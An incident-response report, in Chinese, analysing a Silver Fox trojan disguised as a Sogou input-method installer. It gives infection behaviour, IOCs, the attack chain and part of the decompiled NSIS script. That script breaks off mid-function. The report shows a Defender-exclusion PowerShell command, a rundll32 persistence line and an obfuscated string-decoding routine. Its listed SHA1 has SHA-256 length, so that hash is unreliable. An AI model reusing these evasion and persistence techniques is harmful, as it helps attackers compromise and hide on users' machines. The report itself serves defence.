【银狐应急复盘】伪装搜狗输入法的银狐木马,从深度溯源到彻底清除的闭环响应实录

依托 Solar 安全运营响应团队的日常实战沉淀,我们会定期分享在安全运营中处置的典型应急响应事件,涵盖银狐木马、APT 攻击、勒索病毒等各类主流威胁。

作为专业的应急响应中心,Solar 致力于为复杂多变的安全事件提供从深度溯源到闭环处置的全流程支持。针对银狐、APT 等具有高隐蔽性的威胁,我们不仅聚焦于对其攻击行为的深度剖析,更致力于还原其完整的活动链路,并同步输出切实可行的清除闭环操作方案。

前言:写在分析之前

2026年1月19日,Solar 应急响应团队收到客户应急响应请求,其部署的安全设备发出“银狐”木马外联告警。经初步验证确认并非误报,系银狐木马所致。

经过询问客户近期软件安装情况,得知终端用户曾直接在搜索引擎搜索并点击下载了一款名为“搜狗输入法”的软件。银狐(Silver Fox)黑产团伙极其擅长利用 SEO 优化伪装主流软件官方下载页面,将恶意程序与正常程序捆绑,等待用户安装时将 Shellcode 释放至受害主机。

客户将一个大小为 170MB、名为 sogou_pinyin_guanwang_15.3a.zip 的压缩包发Solar应急响应团队进行分析。

关于此前银狐变种的逆向分析,Solar应急响应团队也曾发布过相关研判,详情阅读:【高危预警】银狐木马攻势升级:从国内蔓延至海外,针对华人与数字资产的精准打击

img

客户提供的伪装病毒样本

接下来,Solar应急响应团队将对此银狐病毒样本围绕排查与行为分析、恶意程序分析、病毒处置、结论进行逐一剖析。如在过程中有不同见解,欢迎各位同仁交流指正;如本篇文章能为您提供参考,烦请点赞转发让更多安全从业者看到。

一、 排查与行为分析

为了还原受害者视角的感染过程,Solar应急响应团队在受控虚拟机环境中打开了该安装包,在不点击“安装”的情况下,观察到样本仅在临时目录产生了一些非恶意的临时文件。

img

安装包启动初期的进程活动

随后模拟用户点击安装,并使用火绒剑对系统底层行为进行捕捉。 进程伪装发现:在安装包解压释放阶段,监控到其异常拉起了一个名为 Verifier.exe 的进程。 值得注意的是,虽然该文件名与 Windows 系统自带的驱动程序验证工具(Verifier.exe)一致,但经哈希比对与签名校验,该文件并非微软官方的系统白文件,而是一个彻头彻尾的恶意程序。攻击者采用“文件名伪装”策略,企图利用管理员对系统文件名的熟悉感产生麻痹心理,从而在初步排查中蒙混过关。

img

样本安装过程中释放文件并拉起程序 Verifier.exe

在安装动作结束后,受害主机部署的火绒安全软件触发了告警,并对部分释放的程序进行了查杀。 研判分析:这一现象表明,银狐团伙的免杀技术并非无懈可击。虽然其外层的 NSIS 安装包和部分经过 sRDI 处理的内存加载行为绕过了静态查杀,但落地的实体文件(如伪装的 Verifier.exe 或明文的配置脚本)仍触发了杀软的特征库或启发式引擎。然而,由于查杀不彻底(仅清除了部分组件,残留了持久化配置),所以需要进一步深度排查。

img

与系统合法进程同名的恶意文件 Verifier.exe 及其关联文件触发杀软告警

安装完毕后,进程列表中新增了一个名为 rundll32.exe 的进程,这引起了高度警觉。通过查看其命令行参数,发现了明显的恶意行为特征: "C:\Windows\system32\rundll32.exe" C:\Users\Administrator\AppData\Roaming\Embarcadero\AutoRecoverDat.dll,DllRegisterServer

攻击者调用系统工具 rundll32.exe 执行了一个位于 Roaming 目录下、伪装成 Embarcadero 组件的 AutoRecoverDat.dll。这在后续 Shellcode 分析中具有重大意义,是病毒实现持久化的关键一环。

img

进程列表中发现异常的 rundll32.exe

img

img

rundll32.exe 的命令行参数直接指向恶意 DLL 路径

随后进一步跟进了这个 rundll32.exe 的任务组,发现它确实与搜狗输入法安装程序存在父子或关联关系,且在后台静默创建和释放了大量文件。

img

rundll32 与样本释放文件的关联分析

使用 Everything 工具,追踪到了其释放的一个关键文件:Profiler.json,路径位于 C:\Users\Administrator\AppData\Local

img

通过 Everything 定位到的异常配置文件 Profiler.json

经研判,下图目录中的文件均为样本释放的恶意组件。其中 Profiler.json 并非真正的 JSON 配置文件,而是加密的第一阶段 Shellcode,这将在后续逆向部分详细拆解。

img

恶意 Verifier.exe 与伪装成配置文件的 Shellcode (Profiler.json)

在第一阶段 Payload 执行完成后,安装器继续在 %APPDATA% 以及伪装成开发组件目录的 %APPDATA%\Embarcadero\ 下解密并释放多份文件,最终生成核心恶意 DLL:AutoRecoverDat.dll。 攻击者采用此类命名(Embarcadero 为知名开发工具厂商),目的非常明确:混淆管理员视线,伪装成合法开发组件,从而延长在系统中的潜伏时间。

img

核心恶意组件 AutoRecoverDat.dll 文件属性

img

AutoRecoverDat.dll 所在的伪装目录结构

接着,通过网络连接监控发现,该 rundll32.exe 进程正持续连接 IP 地址:137.220.136.191。使用威胁情报中心关联分析,确定该 IP 为银狐组织的 C2 控制端。

img

rundll32.exe 产生的异常外联网络行为

img

威胁情报确认该 IP 归属于银狐组织

此外,排查中还发现样本不仅释放文件,还伪装成 .NET 系统服务创建了计划任务以实现开机自启。攻击者使用了 .NET Framework adv v6.0.4232 和 .NET Framework JDAH v7.7 这样极具迷惑性的名称,分别指向了 Verifier.exe 和恶意 DLL 的加载命令。这进一步证实了攻击者的高对抗意图。

img

伪装成 .NET Framework 更新的恶意计划任务列表

img

恶意任务“adv v6.0.4232”指向 Verifier.exe

img

恶意任务“JDAH v7.7”指向恶意 DLL 加载

不仅如上操作,安装器启动后,会立即尝试削弱系统的内建防御。它利用 PowerShell 执行高危指令 Add-MpPreference -ExclusionPath,暴力地将 C:\、D:\ 等磁盘根目录加入 Windows Defender 的扫描白名单。 这一动作极其关键:一旦成功,后续释放到这些盘符下的恶意组件(如 Verifier.exe 和恶意 DLL)将彻底脱离 Defender 的实时监控,确保木马能顺利落地并长期驻留。

img

Windows defender中磁盘根目录被加入到排除项

二、 恶意程序分析

1. 样本基础信息

属性

详细信息

文件名

sogou_pinyin_guanwang_15.3a.exe

文件大小

169.96 MB

文件类型

Win32 EXE (NSIS Installer)

MD5

3c627b839112960690a5d3fad558bb48

SHA1

e1cc6fec61c72d80a1c1cb26746088634a2a8bf8e57a0ca55e10b3a420ba36c5

行为特征

白加黑利用、计划任务持久化、Shellcode 内存加载

2.行为总结与攻击链

通过对样本的动静态分析,我们将该程序的攻击链梳理如下:

阶段

关键动作

技术细节

1. 初始投递

伪装安装包

攻击者将恶意代码封装在基于 NSIS 的安装程序中,高度伪装成“搜狗输入法 11.34.73.53”,诱导用户主动执行。

2. 执行与规避

Defender 排除

安装器启动后动态还原隐藏命令。在特定条件下,调用 PowerShell 执行 Add-MpPreference -ExclusionPath,尝试将 C盘至F盘全盘加入 Windows Defender 排除项,大幅降低被检测概率。

3. 载荷投放

释放第一阶段组件

在 %TEMP% 释放加密文件,利用解密插件还原出 %LOCALAPPDATA%\Verifier.exe 及 Profiler.json(加密 Shellcode)。随即执行 Verifier.exe 进行环境探测。

4. 二阶段部署

核心 DLL 落地

安装器继续在 %APPDATA%\Embarcadero\ 下释放核心恶意文件 AutoRecoverDat.dll。

5. 持久化

计划任务注册

通过 rundll32.exe 调用 AutoRecoverDat.dll 的导出函数,通过 COM 接口操作任务计划程序,注册名为 .NET Framework... 的恶意任务,实现登录触发(LogonTrigger)。

6. 掩护行为

正常软件安装

恶意动作完成后,释放并静默安装真正的搜狗输入法,并在桌面创建快捷方式,使用户误以为仅完成了正常软件安装。

通过对样本 NSIS 脚本的深度解析,将该程序的执行流程梳理如下所示:

img

样本程序运行流程图

攻击阶段

战术分类 (TTPs)

技术行为细节

1. 初始投递

Initial Access

攻击者将恶意代码封装在一个基于 NSIS 的安装程序中,高度伪装成“搜狗输入法 11.34.73.53”。安装器的 UI 界面、交互流程和文件命名均与官方软件高度一致,利用社会工程学诱导用户主动执行,从而获得初始执行权限。

2. 执行与规避

Execution & Defense Evasion

安装器启动后,通过内置的字符串解码逻辑动态还原并执行隐藏命令,以规避静态特征检测。在特定条件下,其调用 PowerShell 并绕过执行策略,执行 Add-MpPreference -ExclusionPath,尝试将多个磁盘路径加入 Windows Defender 排除项,从而降低后续恶意组件被安全软件杀除的可能性。

3. 载荷解密与投放

Payload Decryption & Staging

安装器在 %TEMP% 目录释放多份加密文件及密钥数据,并使用内嵌的解密插件将其还原为实际载荷,生成 %LOCALAPPDATA%\Verifier.exe 及相关配置文件。随后立即执行 Verifier.exe,并通过延时机制为其完成环境探测、初始化及后续阶段准备提供时间。

4. 二阶段组件部署

Secondary Payload Deployment

在第一阶段程序运行期间,安装器继续在 %APPDATA% 以及伪装成开发组件目录的 %APPDATA%\Embarcadero\ 下解密并释放多份文件,最终生成核心恶意 DLL:AutoRecoverDat.dll。该 DLL 通过命名和路径伪装为系统或第三方组件,以降低被人工排查发现的风险。

5. 持久化机制建立

Persistence

安装器通过 rundll32.exe 调用 AutoRecoverDat.dll 的 DllRegisterServer 导出函数触发 DLL 内部逻辑。根据逆向分析,该 DLL 通过 COM 接口操作 Windows 任务计划程序,在系统任务路径(如 \Microsoft\Windows\AppID)下创建或修改带有登录触发器(LogonTrigger)的计划任务,实现用户登录时自动执行的持久化效果。

6. 伪装与防御规避

Masquerading & Evasion

恶意组件的文件名、存放路径及持久化位置均刻意模仿正常系统文件或常见第三方软件目录(如 GPUCache、Embarcadero、AppID),以混淆管理员视线并延长在系统中的潜伏时间。

7. 掩护行为

Cover Activity

在恶意投放和持久化完成后,安装器释放并执行真正的搜狗输入法安装程序,同时在桌面创建快捷方式,使用户误以为仅完成了一次正常的软件安装,从而掩盖系统已经被植入恶意组件的事实。

C
; NSIS script NSIS-2.25
; Install

SetCompressor zlib

; --------------------
; HEADER SIZE: 21044
; START HEADER SIZE: 288
; MAX STRING LENGTH: 1024
; STRING CHARS: 3588

OutFile [NSIS].exe
!include WinMessages.nsh

AutoCloseWindow true
LicenseBkColor /windows


; --------------------
; LANG TABLES: 2
; LANG STRINGS: 73

Name "搜狗输入法 11.34.73.53"
BrandingText setup

; LANG: 2052
LangString LSTR_0 2052 setup
LangString LSTR_1 2052 "$(LSTR_2) 安装"
LangString LSTR_2 2052 "搜狗输入法 11.34.73.53"
LangString LSTR_3 2052 "可用空间: "
LangString LSTR_4 2052 "所需空间: "
LangString LSTR_5 2052 "无法写入: "
LangString LSTR_11 2052 "创建快捷方式: "
LangString LSTR_15 2052 "正在创建快捷方式时发生错误: "
LangString LSTR_17 2052 正在解压缩数据发生错误!已损坏的安装程序?
LangString LSTR_20 2052 "运行: "
LangString LSTR_21 2052 "抽取: "
LangString LSTR_22 2052 "抽取: 无法写入文件 "
LangString LSTR_23 2052 "安装损毁: 无效的操作代码 "
LangString LSTR_25 2052 "输出目录: "
LangString LSTR_29 2052 "已跳过: "
LangString LSTR_30 2052 "复制细节到剪贴板 "
LangString LSTR_32 2052 B
LangString LSTR_33 2052 K
LangString LSTR_34 2052 M
LangString LSTR_35 2052 G
LangString LSTR_36 2052 "欢迎使用 $(LSTR_72) 安装向导"
LangString LSTR_37 2052 "这个向导将指引你完成 $(LSTR_72) 的安装进程。\r\n\r\n在开始安装之前,建议先关闭其他所有应用程序。这将允许“安装程序”更新指定的系统文件,而不需要重新启动你的计算机。\r\n\r\n$_CLICK"
LangString LSTR_38 2052 "不能打开要写入的文件: $\r$\n$\t$\"$0$\"$\r$\n单击 [Abort] 放弃安装,$\r$\n [Retry] 重新尝试写入文件,或$\r$\n [Ignore] 忽略这个文件。"
LangString LSTR_39 2052 宋体
LangString LSTR_40 2052 选定安装位置
LangString LSTR_41 2052 "选定 $(LSTR_72) 要安装的文件夹。"
LangString LSTR_42 2052 正在安装
LangString LSTR_43 2052 "$(LSTR_72) 正在安装,请等候。"
LangString LSTR_44 2052 安装完成
LangString LSTR_45 2052 安装程序已成功地运行完成。
LangString LSTR_46 2052 安装己终止
LangString LSTR_47 2052 安装程序并未成功地运行完成。
LangString LSTR_48 2052 完成(&F)
LangString LSTR_49 2052 "正在完成 $(LSTR_72) 安装向导"
LangString LSTR_50 2052 "你的系统需要重新启动,以便完成 $(LSTR_72) 的安装。现在要重新启动吗?"
LangString LSTR_51 2052 是,现在重新启动(&Y)
LangString LSTR_52 2052 否,我稍后再自行重新启动(&N)
LangString LSTR_53 2052 "$(LSTR_72) 已安装在你的系统。\r\n单击 [完成(F)] 关闭此向导。"
LangString LSTR_54 2052 0
LangString LSTR_55 2052 9
LangString LSTR_56 2052 "你确实要退出 $(LSTR_2) 安装程序?"
LangString LSTR_57 2052 自定义
LangString LSTR_58 2052 取消(&C)
LangString LSTR_59 2052 "< 上一步(&P)"
LangString LSTR_60 2052 "下一步(&N) >"
LangString LSTR_61 2052 "单击 [下一步(N)] 继续。"
LangString LSTR_62 2052 "Setup 将安装 $(LSTR_72) 在下列文件夹。要安装到不同文件夹,单击 [浏览(B)] 并选择其他的文件夹。 $_CLICK"
LangString LSTR_63 2052 目标文件夹
LangString LSTR_64 2052 浏览(&B)...
LangString LSTR_65 2052 "选择要安装 $(LSTR_72) 的文件夹位置: "
LangString LSTR_66 2052 安装(&I)
LangString LSTR_67 2052 "单击 [安装(I)] 开始安装进程。"
LangString LSTR_68 2052 显示细节(&D)
LangString LSTR_69 2052 已完成
LangString LSTR_70 2052 " "
LangString LSTR_71 2052 关闭(&L)
LangString LSTR_72 2052 "搜狗输入法 11.34.73.53"


; LANG: 1033
LangString LSTR_0 1033 setup
LangString LSTR_1 1033 "$(LSTR_2) Setup"
LangString LSTR_2 1033 "搜狗输入法 11.34.73.53"
LangString LSTR_3 1033 "Space available: "
LangString LSTR_4 1033 "Space required: "
LangString LSTR_5 1033 "Can't write: "
LangString LSTR_11 1033 "Create shortcut: "
LangString LSTR_15 1033 "Error creating shortcut: "
LangString LSTR_17 1033 "Error decompressing data! Corrupted installer?"
LangString LSTR_20 1033 "Execute: "
LangString LSTR_21 1033 "Extract: "
LangString LSTR_22 1033 "Extract: error writing to file "
LangString LSTR_23 1033 "Installer corrupted: invalid opcode"
LangString LSTR_25 1033 "Output folder: "
LangString LSTR_29 1033 "Skipped: "
LangString LSTR_30 1033 "Copy Details To Clipboard"
LangString LSTR_32 1033 B
LangString LSTR_33 1033 K
LangString LSTR_34 1033 M
LangString LSTR_35 1033 G
LangString LSTR_38 1033 "Error opening file for writing: $\r$\n$\r$\n$0$\r$\n$\r$\nClick Abort to stop the installation,$\r$\nRetry to try again, or$\r$\nIgnore to skip this file."
LangString LSTR_39 1033 "MS Shell Dlg"
LangString LSTR_54 1033 0
LangString LSTR_55 1033 8
LangString LSTR_57 1033 Custom
LangString LSTR_58 1033 Cancel
LangString LSTR_59 1033 "< &Back"
LangString LSTR_60 1033 "&Next >"
LangString LSTR_61 1033 "Click Next to continue."
LangString LSTR_62 1033 "Setup will install $(LSTR_72) in the following folder. To install in a different folder, click Browse and select another folder. $_CLICK"
LangString LSTR_63 1033 "Destination Folder"
LangString LSTR_64 1033 B&rowse...
LangString LSTR_65 1033 "Select the folder to install $(LSTR_72) in:"
LangString LSTR_66 1033 &Install
LangString LSTR_67 1033 "Click Install to start the installation."
LangString LSTR_68 1033 "Show &details"
LangString LSTR_69 1033 Completed
LangString LSTR_70 1033 " "
LangString LSTR_71 1033 &Close
LangString LSTR_72 1033 "搜狗输入法 11.34.73.53"


; --------------------
; VARIABLES: 3

Var _0_
Var _1_
Var _2_


InstType $(LSTR_57)    ;  Custom
InstallDir $PROGRAM_FILES\Application
; install_directory_auto_append = Application


; --------------------
; PAGES: 5

; Page 0
Page custom func_0 func_55 /ENABLECANCEL

; Page 1
Page directory func_56 func_61 func_62 /ENABLECANCEL
  DirText $(LSTR_62) $(LSTR_63) $(LSTR_64) $(LSTR_65)    ;  "Setup will install $(LSTR_72) in the following folder. To install in a different folder, click Browse and select another folder. $_CLICK""Destination Folder" B&rowse... "Select the folder to install $(LSTR_72) in:""搜狗输入法 11.34.73.53""搜狗输入法 11.34.73.53"
  DirVar $CMDLINE

; Page 2
Page instfiles func_63 func_68 func_69
  CompletedText $(LSTR_69)    ;  Completed
  DetailsButtonText $(LSTR_68)    ;  "Show &details"

/*
; Page 3
Page COMPLETED
*/

; Page 4
Page custom func_81 func_158


; --------------------
; SECTIONS: 1
; COMMANDS: 541

Function func_0    ; Page 0, Pre
  WriteINIStr $PLUGINSDIR\ioSpecial.ini Settings NumFields 3
  WriteINIStr $PLUGINSDIR\ioSpecial.ini Settings NextButtonText ""
  WriteINIStr $PLUGINSDIR\ioSpecial.ini Settings CancelEnabled ""
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 2" Text $(LSTR_36)    ; 
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 2" Bottom 38
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 3" Top 45
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 3" Bottom 185
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 3" Text $(LSTR_37)    ; 
  LockWindow on
  GetDlgItem $_0_$HWNDPARENT 1028
  ShowWindow $_0_${SW_HIDE}
  GetDlgItem $_0_$HWNDPARENT 1256
  ShowWindow $_0_${SW_HIDE}
  GetDlgItem $_0_$HWNDPARENT 1035
  ShowWindow $_0_${SW_HIDE}
  GetDlgItem $_0_$HWNDPARENT 1037
  ShowWindow $_0_${SW_HIDE}
  GetDlgItem $_0_$HWNDPARENT 1038
  ShowWindow $_0_${SW_HIDE}
  GetDlgItem $_0_$HWNDPARENT 1045
  ShowWindow $_0_${SW_SHOWNORMAL}
  LockWindow off
  InstallOptions::initDialog /NOUNLOAD $PLUGINSDIR\ioSpecial.ini
    ; Call func_527
    ; SetOverwrite off
    ; File $PLUGINSDIR\InstallOptions.dll
    ; DetailPrint ""
    ; Push $PLUGINSDIR\ioSpecial.ini
    ; CallInstDLL $PLUGINSDIR\InstallOptions.dll /NOUNLOAD initDialog
  Pop $_2_
  SetCtlColors $_2_"" 0xFFFFFF
  GetDlgItem $_0_$_2_ 1201
  SetCtlColors $_0_"" 0xFFFFFF
  CreateFont $_1_ $(LSTR_39) 12 700    ;  "MS Shell Dlg"
  SendMessage $_0_${WM_SETFONT}$_1_ 0
  GetDlgItem $_0_$_2_ 1202
  SetCtlColors $_0_"" 0xFFFFFF
  InstallOptions::show
    ; Call func_527
    ; File $PLUGINSDIR\InstallOptions.dll
    ; DetailPrint ""
    ; CallInstDLL $PLUGINSDIR\InstallOptions.dll show
  Pop $_0_
  LockWindow on
  GetDlgItem $_0_$HWNDPARENT 1028
  ShowWindow $_0_${SW_SHOWNORMAL}
  GetDlgItem $_0_$HWNDPARENT 1256
  ShowWindow $_0_${SW_SHOWNORMAL}
  GetDlgItem $_0_$HWNDPARENT 1035
  ShowWindow $_0_${SW_SHOWNORMAL}
  GetDlgItem $_0_$HWNDPARENT 1037
  ShowWindow $_0_${SW_SHOWNORMAL}
  GetDlgItem $_0_$HWNDPARENT 1038
  ShowWindow $_0_${SW_SHOWNORMAL}
  GetDlgItem $_0_$HWNDPARENT 1045
  ShowWindow $_0_${SW_HIDE}
  LockWindow off
FunctionEnd


Function func_55    ; Page 0, Leave
FunctionEnd


Function func_56    ; Page 1, Pre
  GetDlgItem $_0_$HWNDPARENT 1037
  SendMessage $_0_${WM_SETTEXT} 0 STR:$(LSTR_40)    ; 
  GetDlgItem $_0_$HWNDPARENT 1038
  SendMessage $_0_${WM_SETTEXT} 0 STR:$(LSTR_41)    ; 
FunctionEnd


Function func_61    ; Page 1, Show
FunctionEnd


Function func_62    ; Page 1, Leave
FunctionEnd


Function func_63    ; Page 2, Pre
  GetDlgItem $_0_$HWNDPARENT 1037
  SendMessage $_0_${WM_SETTEXT} 0 STR:$(LSTR_42)    ; 
  GetDlgItem $_0_$HWNDPARENT 1038
  SendMessage $_0_${WM_SETTEXT} 0 STR:$(LSTR_43)    ; 
FunctionEnd


Function func_68    ; Page 2, Show
FunctionEnd


Function func_69    ; Page 2, Leave
  IfAbort label_75
  GetDlgItem $_0_$HWNDPARENT 1037
  SendMessage $_0_${WM_SETTEXT} 0 STR:$(LSTR_44)    ; 
  GetDlgItem $_0_$HWNDPARENT 1038
  SendMessage $_0_${WM_SETTEXT} 0 STR:$(LSTR_45)    ; 
  Goto label_79
label_75:
  GetDlgItem $_0_$HWNDPARENT 1037
  SendMessage $_0_${WM_SETTEXT} 0 STR:$(LSTR_46)    ; 
  GetDlgItem $_0_$HWNDPARENT 1038
  SendMessage $_0_${WM_SETTEXT} 0 STR:$(LSTR_47)    ; 
label_79:
  IfAbort label_80
label_80:
FunctionEnd


Function func_81    ; Page 4, Pre
  WriteINIStr $PLUGINSDIR\ioSpecial.ini Settings NextButtonText $(LSTR_48)    ; 
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 2" Bottom 38
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 3" Top 45
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 2" Text $(LSTR_49)    ; 
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 3" Bottom 185
  IfRebootFlag 0 label_104
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 3" Bottom 85
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 3" Text $(LSTR_50)    ; 
  WriteINIStr $PLUGINSDIR\ioSpecial.ini Settings Numfields 5
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 4" Type RadioButton
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 4" Text $(LSTR_51)    ; 
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 4" Left 120
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 4" Right 321
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 4" Top 90
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 4" Bottom 100
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 4" State 1
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 5" Type RadioButton
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 5" Text $(LSTR_52)    ; 
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 5" Left 120
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 5" Right 321
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 5" Top 110
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 5" Bottom 120
  Goto label_105
label_104:
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 3" Text $(LSTR_53)    ; 
label_105:
  LockWindow on
  GetDlgItem $_0_$HWNDPARENT 1028
  ShowWindow $_0_${SW_HIDE}
  GetDlgItem $_0_$HWNDPARENT 1256
  ShowWindow $_0_${SW_HIDE}
  GetDlgItem $_0_$HWNDPARENT 1035
  ShowWindow $_0_${SW_HIDE}
  GetDlgItem $_0_$HWNDPARENT 1037
  ShowWindow $_0_${SW_HIDE}
  GetDlgItem $_0_$HWNDPARENT 1038
  ShowWindow $_0_${SW_HIDE}
  GetDlgItem $_0_$HWNDPARENT 1045
  ShowWindow $_0_${SW_SHOWNORMAL}
  LockWindow off
  InstallOptions::initDialog /NOUNLOAD $PLUGINSDIR\ioSpecial.ini
    ; Call func_527
    ; AllowSkipFiles off
    ; File $PLUGINSDIR\InstallOptions.dll
    ; DetailPrint ""
    ; Push $PLUGINSDIR\ioSpecial.ini
    ; CallInstDLL $PLUGINSDIR\InstallOptions.dll /NOUNLOAD initDialog
  Pop $_2_
  SetCtlColors $_2_"" 0xFFFFFF
  GetDlgItem $_0_$_2_ 1201
  SetCtlColors $_0_"" 0xFFFFFF
  CreateFont $_1_ $(LSTR_39) 12 700    ;  "MS Shell Dlg"
  SendMessage $_0_${WM_SETFONT}$_1_ 0
  GetDlgItem $_0_$_2_ 1202
  SetCtlColors $_0_"" 0xFFFFFF
  IfRebootFlag 0 label_138
  GetDlgItem $_0_$_2_ 1203
  SetCtlColors $_0_"" 0xFFFFFF
  GetDlgItem $_0_$_2_ 1204
  SetCtlColors $_0_"" 0xFFFFFF
  Goto label_138
label_138:
  InstallOptions::show
    ; Call func_527
    ; File $PLUGINSDIR\InstallOptions.dll
    ; DetailPrint ""
    ; CallInstDLL $PLUGINSDIR\InstallOptions.dll show
  Pop $_0_
  LockWindow on
  GetDlgItem $_0_$HWNDPARENT 1028
  ShowWindow $_0_${SW_SHOWNORMAL}
  GetDlgItem $_0_$HWNDPARENT 1256
  ShowWindow $_0_${SW_SHOWNORMAL}
  GetDlgItem $_0_$HWNDPARENT 1035
  ShowWindow $_0_${SW_SHOWNORMAL}
  GetDlgItem $_0_$HWNDPARENT 1037
  ShowWindow $_0_${SW_SHOWNORMAL}
  GetDlgItem $_0_$HWNDPARENT 1038
  ShowWindow $_0_${SW_SHOWNORMAL}
  GetDlgItem $_0_$HWNDPARENT 1045
  ShowWindow $_0_${SW_HIDE}
  LockWindow off
FunctionEnd


Function func_158    ; Page 4, Leave
  IfRebootFlag 0 label_164
  ReadINIStr $_0_$PLUGINSDIR\ioSpecial.ini "Field 4" State
  StrCmp $_0_ 1 0 label_163
  Reboot
    ; Quit
label_163:
  Return

label_164:
FunctionEnd


Function .onGUIInit
  Call func_527
  DetailPrint ""
  SetOverwrite on
  AllowSkipFiles on
  File $PLUGINSDIR\ioSpecial.ini
  WriteINIStr $PLUGINSDIR\ioSpecial.ini Settings RTL $(LSTR_54)    ;  0
  File $PLUGINSDIR\modern-wizard.bmp
  WriteINIStr $PLUGINSDIR\ioSpecial.ini "Field 1" Text $PLUGINSDIR\modern-wizard.bmp
  GetDlgItem $_0_$HWNDPARENT 1037
  CreateFont $_1_ $(LSTR_39) $(LSTR_55) 700    ;  "MS Shell Dlg" 8
  SendMessage $_0_${WM_SETFONT}$_1_ 0
  SetCtlColors $_0_"" 0xFFFFFF
  GetDlgItem $_0_$HWNDPARENT 1038
  SetCtlColors $_0_"" 0xFFFFFF
  GetDlgItem $_0_$HWNDPARENT 1034
  SetCtlColors $_0_"" 0xFFFFFF
  GetDlgItem $_0_$HWNDPARENT 1039
  SetCtlColors $_0_"" 0xFFFFFF
  GetDlgItem $_0_$HWNDPARENT 1028
  SetCtlColors $_0_ /BRANDING ""
  GetDlgItem $_0_$HWNDPARENT 1256
  SetCtlColors $_0_ /BRANDING ""
  SendMessage $_0_${WM_SETTEXT} 0 "STR:$(LSTR_0) "    ;  setup
FunctionEnd


Function .onUserAbort
  MessageBox MB_YESNO|MB_ICONEXCLAMATION $(LSTR_56) IDYES label_189    ; 
  Abort
label_189:
FunctionEnd


Function func_190
  Push $0
  Push $1
  StrCpy $0 91,88,80,24,26,87,24,65,85,75,94,88,81,70,64,24,73,20,94,92,90,92,70,64,74,21,27,113,21,22,8,65,70,89,76,26,93,77,81,26
  StrCpy $1 854
  Push $0
  Push $1
  Call func_203
  Pop $0
  Pop $1
  Exch $0
    ; Push $0
    ; Exch
    ; Pop $0
FunctionEnd


Function func_203
  Exch $1
    ; Push $1
    ; Exch
    ; Pop $1
  Exch
  Exch $0
    ; Push $0
    ; Exch
    ; Pop $0
  Push $2
  Push $3
  Push $4
  Push $5
  Push $6
  Push $7
  Push $8
  Push $9
  StrCpy $2""
  StrLen $5$1
  StrCpy $6 0
  StrCpy $4 0
label_222:
  StrCpy $7""
label_223:
  StrCpy $3$0 1 $4
  StrCmp $3"" 0 label_228
  StrCmp $7"" label_227
  Goto label_246
label_227:
  Goto label_256
label_228:
  StrCmp $3 , 0 label_231
  IntOp $4$4 + 1
  Goto label_234
label_231:
  StrCpy $7$7$3
  IntOp $4$4 + 1
  Goto label_223
label_234:
  IntOp $3$6 % $5
  StrCpy $8$1 1 $3
  Push $8
  Call func_269
  Pop $9
  IntOp $7$7 ^ $9
  Push $7
  Call func_310
  Pop $3
  StrCpy $2$2$3
  IntOp $6$6 + 1
  Goto label_222
label_246:
  IntOp $3$6 % $5
  StrCpy $8$1 1 $3
  Push $8
  Call func_269
  Pop $9
  IntOp $7$7 ^ $9
  Push $7
  Call func_310
  Pop $3
  StrCpy $2$2$3
label_256:
  Pop $9
  Pop $8
  Pop $7
  Pop $6
  Pop $5
  Pop $4
  Pop $3
  Pop $0
  Pop $1
  Exch $2
    ; Push $2
    ; Exch
    ; Pop $2
FunctionEnd


Function func_269
  Exch $0
    ; Push $0
    ; Exch
    ; Pop $0
  Push $1
  StrCpy $1 0
  StrCmp $0 0 0 label_277
  StrCpy $1 48
  Goto label_305
label_277:
  StrCmp $0 1 0 label_280
  StrCpy $1 49
  Goto label_305
label_280:
  StrCmp $0 2 0 label_283
  StrCpy $1 50
  Goto label_305
label_283:
  StrCmp $0 3 0 label_286
  StrCpy $1 51
  Goto label_305
label_286:
  StrCmp $0 4 0 label_289
  StrCpy $1 52
  Goto label_305
label_289:
  StrCmp $0 5 0 label_292
  StrCpy $1 53
  Goto label_305
label_292:
  StrCmp $0 6 0 label_295
  StrCpy $1 54
  Goto label_305
label_295:
  StrCmp $0 7 0 label_298
  StrCpy $1 55
  Goto label_305
label_298:
  StrCmp $0 8 0 label_301
  StrCpy $1 56
  Goto label_305
label_301:
  StrCmp $0 9 0 label_304
  StrCpy $1 57
  Goto label_305
label_304:
  StrCpy $1 48
label_305:
  Pop $0
  Exch $1
    ; Push $1
    ; Exch
    ; Pop $1
FunctionEnd


Function func_310
  Exch $0
    ; Push $0
    ; Exch
    ; Pop $0
  Push $1
  StrCpy $1 ?
  StrCmp $0 32 0 label_318
  StrCpy $1" "
  Goto label_401
label_318:
  StrCmp $0 34 0 label_321
  StrCpy $1 $\"
  Goto label_401
label_321:
  StrCmp $0 46 0 label_324
  StrCpy $1 .
  Goto label_401
label_324:
  StrCmp $0 47 0 label_327
  StrCpy $1 /
  Goto label_401
label_327:
  StrCmp $0 48 0 label_330
  StrCpy $1 0
  Goto label_401
label_330:
  StrCmp $0 51 0 label_333
  StrCpy $1 3
  Goto label_401
label_333:
  StrCmp $0 54 0 label_336
  StrCpy $1 6
  Goto label_401
label_336:
  StrCmp $0 58 0 label_339
  StrCpy $1 :
